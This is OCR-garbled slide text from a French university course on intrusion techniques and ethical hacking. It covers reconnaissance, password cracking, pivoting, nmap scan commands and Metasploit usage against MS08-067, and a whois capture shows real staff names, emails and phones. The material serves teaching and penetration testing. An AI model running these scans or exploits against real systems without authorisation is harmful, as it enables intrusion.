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A la fin du cours 1’étudiant saura:

Apprécier comment lister, quantifier et limiter 'ensemble
des vulnérabilités inhérentes aux architectures systéme et
réseau.

Connaitre les grandes techniques de tentatives d'intrusions
systéme ou réseau et les contremesures a déployer dans
le systeme pour s'en prémunir.

Connaitre la problématique de la réaction en cas d’incident
et les techniques d'investigation numérique
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Livre Blanc de la défense A/

—
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« Les cyber-attagues constituent une menace
majeure, a forte probabiliteé et a fort impact
potentiel, »

LA loi de programmation militaire de décembre
2013 prévoit l'adoption de mesures de
renforcement de la sécurité des opérateurs
d'importance vitale.

Le PLAN

v'Rappels
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%Dynamique du risque
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Menace: Définition &
A .

Menace : usojcerzo0m Cause pOtentie”e d'un
incident indésirable, qui pourrait
provoquer des dommages a un systeme
Ou une organisation.
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Vulnérabilité: Définition &
¢
"

Vulnérabilité : Faille ou faiblesse dans

un actif (pouvant étre exploité par une
menace)

Le PLAN
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Stratégies d’intrusion

-. Idées générales
)~ -. Recueil d’informations
-. Exploitation de vulnérabilités

\ -. Pivot
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v Méme si toutes les entreprises n‘ont pas de PSSI

v' Méme si, quand elles en ont une, elle est parfois difficile a appliquer
v Méme si, la défense en profondeur n’est pas simple

v Méme si, 'amélioration continue requiert des efforts,

v bon nombre de SI sont protégés par des systemes de
sécurité.
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Porte d’entrée

v’ Les SI « rendent service»
Portails web

Messagerie

e dns

o FTP.....

v Ces services sont des points d’entrée
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Pivot

v Lintrusion d’une machine publique peut constituer
I'objectif
v’ Constitution de réseaux malveillants (botnets)
v Relais de spam
v’ Relais d’anonymisation ....

v Mais le point d’entrée n’est pas toujours la cible

v Nécessité d'aller plus loin pour atteindre les
données sensibles (notion de PiVOL)

7= s
Intrusion Logique x

Découverte
« Cartographie des systémes
8 Recherche de cibles 3 compromettre

1

Intrusion Ciblée
« Via un point d’entrée
* Exploitation d’une vulnérabilig:
* Pivot

Capture

« Compromission de systémes
principaux

» Capture des données exposées
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- Données envoyées au Pirate
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3.

Intrusion ciblée :

3 Phases
1. Lapproche : récupération d'un maximum

d’informations sur la cible.

L'analyse des informations récupérées
0O définir les vulnérabilités de la cible
0O choisir son angle d'attaque.

L'exploitation de(s) la vulnérabilité(s)
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Stratégies d’intrusion

-. Recueil d’informations
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Les ressources humaines:

Qui fait quoi ?

Internet est votre complice
Whois

is.net

Your Domain Star

ting Place...
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WHODIS information for enac.fr*"

‘ N ’h b [Caerwing whois, nic, Fr]
O].S [wehois.mic.Fr]
T
e
dornain: enac.Fr JrIe
staktus: ACTIVE 2.5
e
e

contack: ECOLE MATIOMALE DE L AYIATION CIVILE

address: 7, avenue Edouard Eelin
address: E.P. 4005

address: 31055 Toulouse

counkbry FF.

phone: + D e 17 4001

e-mail: marc. houalla@enac. fr

™ _-#i_ T T

o

e

bype! PERSOMN

contack: Didier Magre

address: Ecole nationale de l'aviation Civile
address: 7, awvenue Edouard Belin

address: 31055 Toulouse Cedex
counkry: FR

phore: +33 562 17 41 57
T B =
| e-rail: didier.magre@enac. fr |

IR,

changed: ZE/07 12004 domaine@renaker, Ffr
anorymous: RO
obsoleted: MO

Source: FRMIC
nic-hdl: AZ 052 -FRMNIC
LS =I=H FERSOR
| conktack: Alexandre Cohen
et ettt Civvile
e
e
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Les ressources humaines:

Portail de I'entreprise
Blogs
Réseaux sociaux

Copains d'avant, twitter, facebook etc...

L'ingénierie sociale est un atout pour |'attaquant
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Ressources Logiques

Cartographie du réseau
Balayage des @ IP

Cartographie des services
Balayage de ports

savoir quels systemes sont présents
Noyau, distrib, service pack ?

savoir quels logiciels assurent les services
version ?

11
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Répertoriage des Vulnérabilités Logiques

Les erreurs logiques sont nomenclaturées dans différentes
bases de données.

Le classement de référence est probablement celui assuré par
le MITRE sous la houlette du CERT US (United states computer
emergency readiness team)

Le classement cve est accessible a partir de différents sites
http://cve.mitre.org
http://nvd.nist.gov (national Vulnerability database)
http://www.osvdb.org

En France le CERTA (Centre d'Expertise Gouvernemental de Réponse et de
Traitement des Attaques informatiques http://www.certa.ssi.gouv.fr/ ) effectue

notamment un travail de veille ainsi qu’un classement des
vulnérabilités.

@ - C it (@ hepiinvd.nist.qovihome.chn B - [ 7
| (@ National Vulnerability Database Home | -
\i‘::;":;r::n:!llcybersecumybiuldon/US-CEﬂ .'; F ﬁ‘

National Vulnenabi ity Database

automating vulnerability manage ity measdrement, and compliance checking

Natlonal Inssiute of
Standards and Technology

Impact Metrics Data Feeds Statistics
[scap Events [About [Contact  |¥endor Comments

| Mission and Overview

NVD s the U.5, National Vulnerability Database Version 2.2
government repository of
standards based
vulnerability management
data, This data enables
automation of
vulnerability
management, security
measurement, and

NVD is the U.S. government repository of standards based vulnerability management data
represented using the Security Content Automation Protocol (SCAP). This data enables
automation of vulnerahility management, security measurement, and compliance, NYD
includes databases of security checklists, security related software flaws,
misconfigurations, product names, and impact metrics

2 Federal Desktop Core Configuration settings (FDCC)
compliance (2.9, FISMA), o contains content (and pointers to toals) for performing configuration checking of

systems implementing the FDCC using the Security Content Automation Protocel (SCAP),
s i EDCC Checklists are available hers (to be Used with SCAP FDCC capable tools),
NVD contains: SCAP FDCC Capable Tools are available here.

43027 CVE Vulnerabilities
139 Checklists

N¥D Primary Resources
203 US-CERT Alerts

2309 US-CERT vuln Notes « Yulnerahility Search Engine ¢CVE software flaws and CCE misconfigurations)
D517 OVAL Quaries o National Checklist Program (autamatable security configuration guidance in %CCOF and
Last updated: 07/24/10 OVALY
B e SCAP (program and protocol that NVD supports)
11 vulnerabilities / day * SCAP Compatible Tools
 SCAP Data Feeds (CVE, CCE, CPE, CYSS, XCODF, OVAL)
Email List e Product Dictionary (CPE)

e Impact Metrics (CVSS)

NVD provides four mailing o Common Weakness Enumeration (CWE)

lists to the public, Far
infarmation and

http:/ /nvd.nist.gov
Accueil
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ENAC ) National Vulnerability Database (NVD) Search Yulnerabilities - Mozilla Firefox
Fichier Edtion  Affichage  Historique  Marque-pages  Outils 2
@E o i (@ betp:fiweb.nvd.rist.gov i fringsaarch - J:
@ National Yulnerability Database (N¥D...| -+ -
KA Sponsored by ¢ ; p / NIST
L5 DhS National Cyber Securlty Division/US-CERT /. y National Instiute of
A ; A Standards and Technology
National Vulnenabntf’ _
automating vulnerability manager 3 ity measurement, and compliance checking
Checklists Product Dictionary Impact Metrics Data Feeds Statistics
SCAP Validated Tools |scap Events [about  [Contact |vendar Comments
MU EICRS IRl Search CVE and CCE Vulnerability Database ( advanced Search)
Ny e e Keyword search; acrobat reader stack overlow Search Al
government repositary of
e Try 5 product o vendor name
o i Try a GVE standard vulnarability name or QWAL query
wulnerability Management  only vulnerabilities that match ALL keynords will be returned
data, This data enables  Linux kemel vulnerabilities are d separatel Inerabilitias in specfic Linusx distributions
automation of
wulnerability [ Search last3 months | [ Sears last 3 years |
management, security o e Eo a3
0% Only vuineraoiities al
meast‘.lrement aniISMA have the following associated Software Flaws (CYE)
compliance (e.g. i e Misconfigurations (CCE), under develapment
REs0urce/Statis [ US-CERT Technical Alerts
NVD contains: E gaﬁERT Vulnerability Nates
ueries
43027 CVE Wulnersbilities =
= e NVD now maps to CWE! 8ee NVD CWE for more details.
203 US-CERT Alarts
2300 US CERT Vuln Notes
2517 OVAL Quaries
22181 CBE Namas
Last updated: Man Jul
26 0434103 EDT 2010
CGVE Publication rate:
10,53
http://nvd.nist.gov Recherche
) National Vulnerability Database (NVD) Search Vulnerabil
ENAC z i

Echier Edton Affichage Historique  Merque-pages  Outls 2

- C o @ hitpijiweb.mvd.nist.gov/viewjvulnjsearch-results?cid=5 MR B J

(D Notional Vulnerabilty Database (W...| 5

N s dt 1 S S
National Vulner'*abi ity Iﬁtabase

automating vulnerability manager ity measdrement, and compliance checking

ceds Statistics
|vendor Comments

Product Dictionary Impact Metrics
SCAP Validated Tools |scap Events | about

RESEUCICE AN Search Results (Refine Search
NVD i the U.S, There are 4 matching records. Displaying matches 1 through 4.

gavernment repositary of
standards based CVE-2009-3958

TA10-0134 YU#773545

Dat
[

data, This data enables
itmation o [Summary: Multiple stack-based buffer averflaws in the NOS Micrasystems getPlus Helper Activel

lcontrol before 1.6,2,49 in gp.ocx in the Download Manager in Adobe Reader and Acrabat 9.x

vulnerabilit
managmxt cecurity  [pefore 9.3, and & before 8.2 on Windows and Mac OS X, might allow remote attackers ta
R lexecute arhitrary code via unspecified initialization parameters.

and
compliance (8.9, FISMAY, (Published: 01713/2010

Resource Status |CUSS Severity: 10.0 (HIGH)
o —

TAD9-1614

139 ghecklists

iSummary: Stack-based buffer overflaw in Adobe Reader 7 and Acrobat 7 before 7,13, Adobe
203 us-CeRT alerts Reacler & and Acrobat 8 before 81,6, and Adabe Reader 9 and Acrobat 9 before 9,12 might allow
5300 Us-CERT vuln Notes  [Sttackers to execute arbitrary code via a PDF file containing a malformed U3D model file with a
17 ou e [Frafted sxtension block
o lPublished: 06/11/2009
22181 cre Name= y
Last updated: Mon Jul [CVSS Saverity: 9.3 (HIGH)
ove pablication rete: e
CVE Publication rate:
10,53 [Summary: Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8
lbefore 5.1.3, and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted
I List largument to the geticon method of a Collab object, a different vulnerability than CYE-2009-0658.
{Published: 03/13/2009

Em,

NVD provides four mailing

lists to the public, For lcvss Severity: 10.0 (HIGH)
infarmation and

subscription instructions  [RTEYTTIETTE)
please visit NYD Mailing W
Tabd-3094 VU#533400

Lists

[summary: Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows
remote attackers to execute arhitrary code via a POF file that calls the util.printf Javascript
[function with a crafted format string argument, a related issue to CVE-2008-1104,
lPublished: 11¢04/2008

IGVSS Severity: 9.3 (HIGH)

Workload Index

Vulnerahility Workioad
Index

About Us

VD is a product of the

http://nvd.nist.gov Résultats

13



) National Vulnerability Database (NVD) National Yulnerability Database (CYE-2008-2992) - Mozilla Firefox

Eichier Edition  Affichage Historique  Marque-pages  Qutls 2

O c x «

[

@ Nal

nal Yulneral

v Database (NVD...

Sponsored by
DHS National Cyber Security Division/US-CERT /.

National Vulnern abn Vv Database

automating vulnerability manage

|about [contact

ity measdrement, and compliance checking
Checklists Product chtlnnal‘v Impact Metrics
scap validated Tools |scap Events

Data Feeds Statistics

|vendor comments

Mission and Overviev

NYD s the U.S
government repository of
standards based
vulnerability management
data. This data enables
automation of
uuinerability
management, security
measurement, and
compliance (2.5, FISMA)

Resource Status

NVD contains:

National Cyber-Alert System
[Vulnerability Summary for CVE-2008-2992
original release date; 11/04/2008
Last revised: 09/08/2009
Source: US-CERT/NIST

Overview

Stack-based buffer overflow in Adobe Acrobat and Reader 8,
attackers to execute arbitrary code via a PDF file that calls th
with a crafted format string argument, a related issue to CVE

allows remote
ascript function

43027
138
203
2399
2517
22181

CUE Vulnarabilities
Checklists

US-CERT Alerts

US-CERT Vuln Hotec

QUAL Queties
CPE Name:

Impact
CVSS Severity (version 2.0
CVSS v2 Base Score: 2.3 (HIGH) (AV:NAC MALN/C C/:C/AC) (legend)
Impact Subscore: 10.0
Exploitability Subscore: 8.6

Last updated: Man Jul
26 04:34:03 EDT 2010
CVE Publication rate:
10,53

nail

VD pravides four mailing
lists to the public, Far
information and
subseription instructions
please visit NYD Mailing
Lists

CVSS wersion 2 Metrics

Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism
Access Complexity: Mediurm

Authentication: Not required to exploit {'-7

Impact Type: Provides administrator access, Allows cormplete confidentiality, integrity, and
avanabmty violation; Allows unauthorized disclosure of information; Allows disruption of
service

References to Advisories, Solutions, and Tools

http://nvd.nist.gov  CVE-2008-2992

|% ENAC

Stratégies d’intrusion

Exploitation de vulnérabilités

14



Exploitation de Vulnérabilités 37

Craquage

Lorsque la vulnérabilité a exploiter est une absence ou
une mauvaise gestion des mots de passe, le craquage
peut étre un moyen d’exploitation efficace.

Ce nest toutefois pas le seul moyen pour récupérer
des mots de passe:

écoute du réseau
Utilisation de logiciels malveillant (keyloggers...)
Ingénierie sociale (phishing)

|% ENAC

Craquage
enjeux

Recueillir des identifiants/mots de passe revét un
intérét stratégique majeur:

Les utilisateurs ont parfois des comptes sur plusieurs
machines avec les mémes couples identifiants/mots de

passe.

Si des annuaires ou du Single Sign On sont en place un
mot de passe est un sésame vers beaucoup de machines

L'acquisition d’'une seul couple Id/mdp peut rendre
possible des pivots successifs

15



Craquer les Mots de Passe
Comment ?

Force brute

Dictionnaires

Craquage
Méthode Force Brute

A partir de la liste des utilisateurs on essaye une séries
de combinaisons: permutation, substitutions + ou -
simples

Ex: pour l'utilisateur administrateur on essaye

\V4

(pas de mot de passe)

administrateur (mdp=nom de login)

rdministrateua (permutations en tous genres)
admin123456 (subtitutions)

AdminIstraTeur (subtitutions avec des lettres majuscules)

16



|% ENAC

Craquage
Méthode Attaque par dictionnaires

06
=

traditionnel :
Loutil de craquage va chiffrer chaque mot du dictionnaire et
comparer avec la valeur contenue dans la base jusqu’a obtenir
correspondance.
Le fichier dictionnaire contient les mots de passe les plus usités
123456, Admin, les prénoms etc
et ceux qu’on veut bien y ajouter suite a un recueil d‘infos

dictionnaires pré-calculés (rainbow tables)
Compromis temps-mémoire

seules sont conservées certaines de ces empreintes (typiquement une
sur 4000) et le complément est déduit grace a une une fonction de
dérivation (algorithme de Hellman )

|% ENAC

Exploitation de Vulnérabilité
Trouver les codes d’exploitation

Exploits: programmes qui exploitent les failles

des systemes d ‘exploitation,
des logiciels
des protocoles.

17
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EXplOltS Main (int arge char* argv[])
beaucoup d’exploits

Quelques sites parmi d ‘autres
http://www.exploit-db.com/
http://packetstormsecurity.org

Cadriciel d’exploitation: Metasploit

Unixs), Microsoft, Adobe, Oracle, open source...

|% ENAC

EXPIOIt Datab ase Main (int arge char* argv[])

—_— S
| D Explois Database by Offensive 5. | &R =

& 0w exploit-dh.com Brocouka 5 O WA G}j O =-|=

EXPLOIT. |
DATABASE /'

@ Quays:

18
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Stratégies d’intrusion

-. Pivot

|% ENAC

Pivot

> Vous avez posé votre ancre de pirate dans un des réseaux
de I'entreprise cible, mais.....

a . vous voulez investiguer plus loin et hélas la machine victime
ne possede pas les outils nécessaires et vous n'avez pas les
droits suffisants pour les installer.

a .. un FW vous empéche d’aller plus loin et vous avez bon
espoir qu’un héte accessible, car sur le méme réseau que le
votre, est autorisé a le traverser.

> Pivoter est la solution

Le calculateur sur lequel vous étes va vous servir
d'appui pour continuer I'attaque.

19
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/4

TD Hacking Ethique:
environnement de travail

Le PLAN

v~ Qutils d'Intrusion
v"Nmap
v Metasploit
v Craqueurs
v Pour pivoter

v" En cas d’incident
v

20
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Le PLAN
v Outils d'Intrusion
v"Nmap
v
v
v
% NMAP

balai High Tech
L

Principe : outil pour scanner les ports ouverts
sur une machine distante.

Mais aussi outil multifonction:
Permet la reconnaissance d'OS (0s fingerprinting)
mode furtif disponible...

Pour la défense comme pour I'attaque

21
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NMAP
scanner de port

Utilisation basique

Ex : pour scanner une machine :
$ nmap 192.168.0.1

Ex : pour scanner les machines se trouvant dans le plan d'adressage
192.168.0.0/24 :
$ nmap 192.168.0.0/24

option -v pour avoir plus d'informations.

On peut choisir le ou les protocoles a balayer,

par défaut le protocole scanné est TCP.

Pour scanner TCP et UDP :
$ nmap -v -sU -sT 192.168.0.1

|% ENAC n

NMAP \
Quelques Options »

-ST Scanne les ports TCP =SU pour ubp (attention cela est inscrit dans les
fichiers de log de la machine cible).

-SP En fait un ping.
-p 20-140 Ne scanne que les ports entre 20 et 140 ;
-p 1024- scanne tous les ports a partir de 1024 ;

-0 Permet de connaitre 1'0S (voir aussi ~osscan_guess).

-PO Permet de scanner les machines qui n‘autorisent pas les
ICMP echo request.

22
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NMAP

TCP — Etablissement de Connexion

principe de fonctionnement (port TCP actif)

Poignée de mains a 3 étapes (Three Way Handshake)

- 1
<<mmmmi  1mmm
SYN/ACK SYN
3
11 =
ACK

wmmp |: envoi d’un SYN ISN=x
<= 2: envoi SYN ISN=y, ACK x+1
wemp 3: Send ACK ISN y+1

4: La connexion est établie

/(=]

Serveur

ISN = numéro de séquence initial

|% ENAC

NMAP
principe de fonctionnement (port TCP inactif)

1 11 >

s

D RST/ACK SYN

Client

mmmp1: envoi d’un SYN
< - envol RST, ACK

3: Le port n’est pas actif sur le serveur

]

Serveur

ISN = numeéro de séquence initial

23
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NMAP
scan de port UDP (1)

Le protocole UDP est ne requiert pas de connexions. Il y 2
manieres d'énumeérer les services UDP sur notre cible :
Envoyer des paquets UDP sur les 65535 ports et attendre un "ICMP

destination port unreachable" qui signifie que le port est fermé, inaccessible
ou que la machine est hors service.

Utiliser un client UDP tel que Snmpwalk, Dig ou Tftp pour envoyer un
datagramme a la cible et d'attendre une réponse positive.

La plupart des réseaux filtrent les messages ICMP, il est
donc souvent difficile d'évaluer quel service UDP est
accessible par un simple scan de port.

II\TS Atsmps de diagnostic est généralement assez long (cf. TP

|% ENAC

NMAP
scan de port UDP (2)

Le schéma ci-dessous montre que le port est ouvert :

1 — Datagramme UDP
2 - Pas de réponse

‘www authsecu com

wivnvauthsecu.com

24
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NMAP
déroulement du scan

[root@G17-15]# nmap -v -sU -sT 192.168.200.1
Starting nmap V. x.x by fyodor@insecure.org ( www.insecure.org/nmap/ )
Host (192.168.200.1) appears to be up ... good.
Initiating TCP connect() scan against (192.168.200.1)
Adding TCP port 139 (state Open).

Adding TCP port 25 (state Open).

Adding TCP port 110 (state Open).

Adding TCP port 21 (state Open).

Adding TCP port 135 (state Open).

Adding TCP port 80 (state Open).

Adding TCP port 1026 (state Open).

|% ENAC

NMAP
résultat de scan

The TCP connect scan took 1 seconds to scan 1534 ports.

Initiating FIN,NULL, UDP, or Xmas stealth scan against (192.168.200.1)
The UDP or stealth FIN/NULL/XMAS scan took 4 seconds to scan 1534 ports.
Interesting ports on (192.168.200.1):

Port State Service

21/tcp open fip

25/tcp open smtp

80/tcp open hittp

110/tcp open pop-3

135/tcp open loc-srv

137/udp open netbios-ns

138/udp open netbios-dgm

139/tcp open netbios-ssn

1026/tcp open nterm

Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

25
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NMAP Q
Dans un contexte d’intrusion 2 >

Découverte du réseau

Un scan sans option comme nmap 10.3.100.1
envoie un paquet TCP ACK sur le port 80 ainsi qu'une
requéte d'echo ICMP a chaque machine cible

Cela s’avere insuffisant dans un contexte de test
d’intrusion

Si présence de systeme filtrant proscrire les scans
ICMP

nmap -PN 10.3.100.1

|% ENAC

NMAP
Temps de réponse

+ le scan est complexe (stealth scan, reconnaissance d'0S) + on attend.

+ les hotes scannés sont nombreux, + c’est long

+ le nombre de ports scannés par hote est élevé et + long cest
Si un systeme filtrant est présent (rw, routeur..) C + long

possibilité de réduire les coups de balai
En jouant avec les masques: nmap 10.3.10.1/24
Ou avec ce genre de syntaxe: nmap 10.0.0,1,3-7.0-255

Certaines options (-PS,-PU,-PA) permettent de restreindre les ports a
scanner: nmap -PS25,80,445,139,3306 192.168.2-20.1-20

26
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/4

TD Hacking Ethique:
étapel jusqu‘au 4.4

Le PLAN

v" QOutils d'Intrusion
v

v'Metasploit

METASPLOIT v
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Metasploit

Framework (cadriciel) open source débuté en 2003
Ecrit en perl puis ruby depuis la version 3
Environnement de développement
Tres actif

Outil d’aide aux test d'intrusion
Utilisation facile de codes d’exploitation de vulnérabilités
Codes d’exploitation nombreux ciblant plusieurs plate formes

|% ENAC

Metasploit

Fichier Edition Affichage Terminal Aide
root@ines22:/etc/init.d# msfconsole b

[
--=[ 551 exploits - 261 auxiliary
--= 208 payloads - 23 encoders - 8 nops

+
IR
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Architecture modulaire
3 Modules principaux

Code d’exploitation (exploit)
Charge utile (payload)
associé au code d’exploitation choisi

permet d'assurer la communication entre
Metasploit et la victime

Auxiliaire (auxiliary)
actions arbitraires telles que le scan de ports,
le déni de services entre autres

|% ENAC

Architecture modulaire [ 'ﬁ'

Avantage V Fnamehnn&;

utiliser plusieurs charges utiles pour un méme
code d’exploitation

et vice-versa.
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Attaque de la cible

Modules

4 )
payload 2 -------------- payload n
\ J

Choix de la
charge et ses options

Base exploit 1 [ exploit 2 ] [ exploit 3 ] [auxiliaire]
Globale

)
" E

<

=

o

o

[N

S -t

S

\
Choix de Choix de
1’exploit 1l’auxiliaire

Interfaces

|% ENAC

\/
ase (AW

ml!liilsrullnli :
| FrameWIRKG

modules d’exploitation

Syntaxe
lister les exploits windows (les + nombreux)
search -t exploit windows
Obtenir des information sur les exploits
info windows/smb/ms08_067_netapi
Avant tout il faut utiliser un module
use exploit/windows/dcerpc/ms03_26_dcom
Aprés tout il faut lancer I'exploitation
exploit
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|gENAC Fichier Edition Affichage Termiral Aide

winduws/prosy /bluecos L_winoroxy_husl yreal Blue Cual WinPruxy busl Header Over Mluw
winduws/prusy/feeprusy Lelnzt_ping averayg: CCPruay == v6.2 Telnel Pruxy Ping Owsrllow
windows/proxy/proxypro_htta_get great P-oxy-Pro Professional Gatekeeper 4.7 GLT Reg
windows/proxy/qbik wingate wwwproxy good Qbik WinGate WwW Froxy Server URL Praczssing
windows/scada/realwin great DATAC RealWin SCALCA Server Duffer Ow=rflow
windows/sip/aim triton_cscy great AIM Triton 1.6.4 (Scq Buffer Overflow
windows/sip/sipxczphone_cs2q great SIPfoundry sipXezPhenc 8.35a CSeq Fizld Owerf.
windows /sip/sipxphone_cszq great SIPfoundry sipXphecne 2.6.8.27 CSeq Buffer Ove
windows/snb/ms83 819 _netapi good Microsoft Workstaticn Service NetAddAlternate
windows /snb/ms841_ 007 killbill Low Microsoft ASN.1 Library Bitstring Heap Overfl
windows /sth/msBd_B11_lsass good Microsoft LSASS Service DsRolerUpgradedownlew
windows /snb/ms84 831 netdds good Microsoft MetDDE Service Overflow
windows /snb/msB5_B39_pnp good Microsoft Plug anc Flay Service Dverflow
windnws/snh/msAf_A?5_rasmans_reg ognnd Mic-nsnft RRAS Service RASMAN Registry Oue-fl
windows/snh/msAf_A?5_rras averag= Microsnft RRAS Service Ouerflow
windnws/snh/msAf_A40_netapi great Mir-nsnft Server Service NetpwPathCannniraliz
windows/snb/msB6_B66_nwaoi good Microsoft Services MSE6-066 nwapi32.dll
windows/snb/ms86_066_nwwks good Microsoft Services MSE6-066 nwwks.dll
windows/snb/msB6_870_wkss normal Microsoft Werkstaticn Service NetpManageIPCCo
windows/snb/ms88_667 netapi great Microsoft Server Service Relative Path Stack
windows/snb/ms@9_850_smb2_nejotiate_Tunc_index good Microsoft SRVZ.SYS SME Negotiate ProcessID Fu
windows/snb/msdns zonename great Microsoft DNS RPC Service extractQuotedCha~()
windows/snb/netidentity xtierrpcpipe great Novell MetIdentity Agent XTIERRPCPIPZ Mamed P
windows/snb/psexec excellsnt Mic-osoft Windows Authenticated User Cods Exe
windows/snb/smb_relay excellant Microsoft Windows SMB Relay Code Execution
windows/snb/timbuktu_plughitcommand_bo? grgat Timbuktu <= B.6.6 PlughNTCommand Mams=d Pipe B
windows/sntp/mailcarrier smto ehlo a TABS MailCarrier v2.51 SMTP EHLO Overflow
windows/smtp 5 Buffzr Qve-fl
windows/sut| - - Heap Ovarflow
e S@arch —t exploit windows -
windows/sntp
windows/ssh/freeftpd_key exchange averags FreeFTPd 1.0.10 Key Exchange Algoritam String
windows/ssh/freesshd_key excnange averags FreeSSHd 1.6.9 Key Exchange Algorithm String
w1ndows/ssh/putty_msg_desuj normst Pully exe <= V.53 EUTTEr UVertiow
windows/ssh/securecrt_ssnl averags SecurelRl == £.4 Eeta £ 55H1 Butter Jvarflow
wWindows/ssL/msd4_Ull_pct averags MLCT0SOTT Privaté LCmmUN1cations 1ransnort Ov
windows/telnet/gamsof t_t21srv_usernane averags GAM307T Telsrv 1.5 Username Buffer Overflow
W1ndows/TELNET/gooaTECh_[ELN=T aversgs GOOOTech Telnetr SErver <= 5.8.6 BUTTEr OverTl
windows/titp/attrftp_long_Tllzname averags Allled Telesyn TFTP Server 1.9 Long Fllename
windows/ LT Lp/dLink_lony_lileiane youd D-Link TFTP 1.8 Lunyg Filename Buf fer Over low
winduws/LTLp/ TuluresufL_Lrans Fermode averays FulureSorl TFTP Server 2000 Trans fer-Mads Ove
windows/ LT Lp/yuick LT Lp_oro_nude youd Quitk FTP Pru 2.1 Transler-Mode Over [ low
windows/tftp/tftpdd2 long filenane averags TrTPDI2 ~- 2.21 Leng Filename Duffer Overflow,
windows/t{tp/tftpdwin_long_filename great TrTPDWIN v0.4.2 Leng Filename Duffer Overflow
windows/tftp/threectftpsvc_long node great JCTFtpSve TITP Lorg Mcde Duffer Overflow
windows/unicenter/cam_log_security great CA CAM log_sccurity() Stack Buffcr Overflow [
windows/vrc/realvne_clicnt normal RcalVNC 2.3.7 Clicnt Euffer Overflow
windows/vnc/ultravne_cliasnt normal Ultra¥NC 1.8.1 Cliernt Buffer Overflow
windows /vnc/winvnc_http_get averags WinVNC Web Server =- v3.3.3r7 GET Ovarflow
windows/vpn/safenet_ike 11 averaga SafeNet SoftRemote IKE Service Buffer Jvarflo
windows /wins/ms84_045 wins great Microsoft WINS Service Memory Overwrits

nst > &

|E hier Edition Affichage Te Fichier Edition Affichage Terminal Aide

msf > info windows/smb/ms88 867 47 Windows XP SP3 Hebrew (NX)
48 Windows XP S5P3 Hungarian (NX)
Name: Microsoft Server 5 49 Windows XP SP3 Italiam (NX)
Version: 9179 58 Windows XP 5P3 Japanese (NX}
Platform: Windows 51 Windows XP SP3 Korean (NX)
Privileged: Yes 5 Windows XP SP3 Dutch (NX)
License: Metasploit Framewo 53 Windows XP SP3 Norwegian (NX)

Rank: Great 54 Windows XP 5P3 Polish (NX)
55 Windows XP S5P3 Portuguese - Brazilian (NX)
Provided by: 56 Windows XP SP3 Portuguese (NX)
hdm <hdm@metasploit.com> 57 Windows XP SP3 Russian (NX)

Brett Moore <brett.moore@insol 58 wWindows XP SP3 Swedish (NX)
58 Windows XP 5P3 Turkish (NX)
Available targets:

Id Name Basic options:
- Name Current Setting Reguired Description
Automatic Targeting e e e o
Windows 2000 Universal RHOST yes The target address
Windows XP SPB/SP1 Univer pppRT 445 yes Set the SMB service port
Windows XP SPZ English (N SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Windows 2003 SPB Universapayipad information:

Windows 2003 SP1 Enmglish Space: 408

Windows 2883 5P1 English Avoid: & characters

Windows 2863 SP2 English
9 Windows 2003 SP2 English Description:
18 Windows 2003 5P2 German (1 7his module exploits & parsing flaw in the path canonicalization
11 Windows 2003 5P2 German {1 coge of NetAPI3Z.d11 through the Server Service. This module is
12 Windows XP SP2 Arabic {NX . papje of bypassing NX on some operating systems and service packs.
13 Windows XP SP2 Chinese - The correct target must be used to prevent the Server Serwvice (along
14 Windows XP SP2 Chinese - = _ith 5 dozen others in the same process) from crashing. Windows XP
15 Windows XP SP2 Chinese - targets seem to handle multiple successful exploitation evemts, but
%S :i::::: ig gig g:ii:hﬂ:ﬁ; 2003 targets will often crash or hang on subseguent attempts. This

is just the first version of this module. full support for NX bypass

18 Windows XP SPZ German (NX 5 5
19 Windows XP SPZ Greek {NX) on 2003, aleng with other platforms, is still in develepment.

20 Windows XP SP2 Spanish (N,
21 Windows XP SPZ Fimnish (N
22 Windows XP 5P2 Frenmch (NX
23 Windows XP SPZ Hebrew (NX
24 Windows XP SPZ Hungardian
25 Windows XP SP2 Italian (N
26 Windows XP SPZ Japanese ( st

e
1
2
3
4 Windows XP SP3 English (N
5
6
7
8

References:
http:/fcve.mitre.org/cgi-bin/cvename. cgi?name=2008-4250
http://wwv.osvdb.org/49243
http://www.microsoft.com/te®hnet/security/bulletin/M568-867. mspx
NEXPOSE (dcerpc-ms-netapi-netpathcanonicalize-dos)
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|2 Fichier Edition Affichage Historique Marque-pages Outils  Aice

E\ I @ % D | [ [nttp osvdb.orgra9243 Dire -] G

]

-

fted RPC Request Handling Unspecified Remote Code Execution
rg/49243 | Email Ths | Edit Vulnerability

Vicws All Time Pereznt Complete

Vicws This Week Added to OSVDB Madificd (since 2008)

90%

5615 60 times

7c nbout 1 year ago | 27 daysage

Timeli Disclosure. Dat.” Exploit Publish Datn" Vendor Solution Dah‘
e 2008-10-23 [ 2008-10-23 | 2008-10-23 |

K ) Gimmiv.A, TrojanSpy:Win32 /Gimmiv. £, TrajanSpy:Win32J Girmiv.A.dll, W32.Wecorl, Exploit. Win12.MS08-367 3, Rootkit.Wir32.kernelBat.dg
AL (01606691, HPSBSTO2386, SSRT0BO164, Expoit:Win32/MS0B067.genlA, Conficker

Description Micosoft Windows Server Service contains a flaw that may allow a malidous user to remotzly ececute arbitrary code. The issue is triggered when a crafted RPC
P request 1s hanaled. It is possible that the Tlaw May allow FeMOL2 Co0E eXECUbon fEsulting 1 a oss of INtegrity.

Location: Remote / Network Access

Attack Type: Input Manipulation

ccif Impact: Loss of Integrity

Classification I RCS

it Public, Exploit Wormified

 Vendor Verified, Discovered in the Wild

Soluti Cunenly, Uere are 1o kiuwn worharouids o upg ades W onetl tis bsue. However, Micusoll as relzased g palch W addiess Uis volierability.

XPSP2
2003 Server SP1
XP Pro xbd.
2003 Server P2
2003 Server x64
2003 Server xb4 SP2
2003 Server for Itaniun SP2
2000 5P+
Products [EEEI CGFMHGI\ XP P;;:i: P2
2003 Server for Itaniun SP
2003 Server 12-bit

s o T

¢
|

Modules payload MexasPoit

FRAMEWORK(:

Syntaxe

Une fois I'exploit choisi :
show payloads liste les charges possibles dans le contexte

sélectionner une charge utile
set payload « nom_du_payload »
Afficher les options possibles

show options

Renseigner les options
set «nom_de_l_option » « paramétre »
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%ENAC Fichier Edition Affichage Terminal Aide

ruul@ines22;: up Limz Lasplul L3/ms F3/nudules/explol Us/windows# msliunsule

Choix du code d’exploitation

B HHEE HEE

e HHEER #

2

=l
